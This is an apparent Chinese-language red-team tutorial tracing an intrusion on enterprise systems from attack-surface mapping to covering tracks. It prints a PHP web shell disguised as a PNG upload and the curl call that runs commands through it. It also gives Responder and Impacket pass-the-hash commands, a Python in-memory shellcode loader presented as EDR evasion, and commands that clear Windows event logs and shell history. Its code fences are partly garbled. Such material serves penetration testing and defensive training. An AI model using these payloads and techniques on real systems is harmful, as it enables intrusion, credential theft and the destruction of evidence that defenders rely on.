<pre><code class="language-markdown">## 一、从架构到攻击面:红队演练的起点
在很多企业的生产环境中,复杂的系统架构往往是红队演练的第一道门槛。常见的架构包括微服务、容器化部署、混合云、传统域控网络等。如果我是攻击者,第一步就是要全面理解目标架构,找到潜在的攻击面。
一个常见的场景是企业的大型ERP系统。这类系统通常由几百个服务组成,通信主要依赖API,外部接口暴露在互联网。典型的攻击面包括:
- 登录接口漏洞:如弱密码暴力破解、凭证泄露、JWT令牌伪造;
- 文件上传功能:可能存在任意文件上传或路径遍历漏洞;
- 敏感API:如未认证的管理接口、调试接口等;
- 数据库注入:由于参数处理不当导致SQL注入。
在红队演练中,我通常会从外部接口入手,逐一分析这些攻击面每块是否可以利用。
---
二、流量捕获实战:信息搜集的第一步
流量分析是红队演练的核心技能之一。通过捕获目标系统的网络流量,可以快速发现潜在漏洞。

假设目标系统暴露了一个RESTful API接口,我们可以通过Burp Suite、Wireshark或自开发的Python脚本进行流量抓包。下面是一个利用Python抓取接口流量的简化代码: </code></pre>python import requests
目标API地址
url = "https://target.api.com/login"
模拟请求头
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" }
发起登录请求
payload = {"username": "admin", "password": "admin123"} response = requests.post(url, json=payload, headers=headers)
输出返回结果
print(f"Response Status Code: {response.status_code}") print(f"Response Body:\n{response.text}") <pre><code> 红队思路解析:
- 通过抓包工具或代码,观察返回值中是否包含敏感信息,比如API Token或错误信息。
- 如果返回了类似“Invalid username/password”的具体提示,那么可以利用暴力破解工具爆破账户。
- 如果返回结果中包含JWT令牌,要重点分析其加密算法,尝试伪造。

---
三、Payload构造的艺术:突破防线的利器
攻击者的能力体现在Payload的构造上,这是绕过防御的关键一步。以下是针对文件上传漏洞的一次实战案例:
目标网站存在文件上传功能,但在传输到服务器前会对文件类型进行简单验证,比如只允许上传“.png”文件。红队工程师可能会构造恶意脚本文件伪装成合法文件。
Payload示例
原理:伪装恶意代码为图片文件。</code></pre>bash echo '<?php system($_GET["cmd"]); ?>' > shell.php mv shell.php shell.php.png <pre><code> 通过上传伪装的文件,攻击者可以绕过前端文件验证,并在服务器端执行命令。
红队思路解析:
- 通过观察文件上传路径,尝试访问上传后的文件URL。
- 如果上传路径存在回显功能,如“/uploads/shell.php”,尝试直接执行命令:
- 如果没有回显,尝试结合其他漏洞,如路径遍历写入到敏感目录。
` curl 'https://target.com/uploads/shell.php?cmd=whoami' `
---
四、横向移动的策略与工具
在红队演练中,获取一个初始Shell只是第一步,很少能直接拿到核心权限。横向移动是扩大战果的必备技能。

SMB横向移动技术
一个经典案例是通过抓取目标网络中的SMB流量,获取NTLM哈希并尝试传递令牌。
攻击步骤:
- 使用Responder工具伪造SMB服务器:
- 吸引目标机器发送身份认证请求,捕获NTLM哈希。
- 使用Impacket工具进行哈希传递攻击:
`bash sudo responder -I eth0 -rdw `
`bash python smbexec.py [email protected] -hashes <ntlm_hash> `
红队思路解析:
- 如果哈希传递成功,直接获得目标机器访问权限,可以尝试进一步提权或横向移动。
- 如果失败,分析目标机器的权限配置,尝试其他提权手段。
---
五、绕过EDR:隐秘行动的关键
企业安全防护的核心是EDR(Endpoint Detection and Response)。绕过EDR是红队演练中的难点之一,下面是一个利用内存注入的简单示例。
免杀示例:Python内存加载恶意代码</code></pre>python import ctypes
加载恶意Shellcode
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8..."
创建内存空间
shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc( 0, len(shellcode), 0x3000, 0x40 ) ctypes.windll.kernel32.RtlMoveMemory( shellcode_ptr, shellcode, len(shellcode) )
执行Shellcode
ctypes.windll.kernel32.CreateThread( 0, 0, shellcode_ptr, 0, 0, 0 ) <pre><code> 红队思路解析:
- 通过直接加载Shellcode到内存,避免文件落地,绕过常规杀毒软件。
- 调试Shellcode执行效果,确保不会触发EDR报警。
- 配合流量伪装,通过加密通信隐藏C2操作。
---
六、痕迹清除:如何做到“无声息”
红队演练的最后阶段是清除攻击痕迹,确保不会被安全团队追踪到。以下是几个常见策略:
清理Windows事件日志</code></pre>powershell
清除安全日志
wevtutil cl Security
清除应用日志
wevtutil cl Application <pre><code>
删除历史命令记录</code></pre>bash
Bash历史记录清除
history -c <pre><code>
隐藏恶意文件</code></pre>bash
使用chattr隐藏文件
chattr +i /path/to/malicious_file <pre><code> 红队思路解析:
- 除了直接删除痕迹,还可以伪造正常操作日志,迷惑分析人员。
- 在攻击结束后,确保所有恶意工具都安全卸载,避免分析过程中发现异常文件。
---
七、个人经验分享:实战中的坑与收获
1. 切勿高调行事: 红队演练最忌讳的就是“刷存在感”,过于频繁的操作容易触发IDS/EDR报警,最终导致演练失败。
2. 工具不万能: 虽然Cobalt Strike、Metasploit等工具功能强大,但很多企业网络会对这些工具的通信特征进行深度检测,自己编写定制化工具常常更有效。
3. 攻击链要闭环: 从信息收集到权限维持,每一步都需要想清楚如何衔接,否则很容易在关键步骤失败。
4. 时刻思考防御者的视角: 作为红队,理解安全团队会如何追踪你的行为,能帮助你更好地隐藏自己。
通过这些经验,红队演练的成功率会大大提高,最终实现既能发现企业漏洞,又不被轻易检测到的目标。</code></pre>